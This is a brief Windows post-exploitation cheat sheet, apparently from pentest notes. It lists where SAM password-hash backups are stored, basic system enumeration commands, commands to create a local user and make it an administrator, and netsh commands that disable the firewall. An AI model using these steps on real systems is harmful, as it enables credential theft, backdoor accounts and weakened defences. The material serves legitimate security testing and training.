Windows
SAM
Stores Windows users' passwords in a hashed format (in LM hash and NTLM hash). These are backups of C:\windows\system32\config\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAMSystemInfo
ver : OS Version
sc query state=all : Services
tasklist /svc : Processes and Services
echo %USERNAME% : Current userFind Files of Type
dir /a /s /n c:\.pdfAdd User, Make Admin
net user <user> <pass> /add
net localgroup "Administrators" <user> /addDisable Firewall
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state offLast updated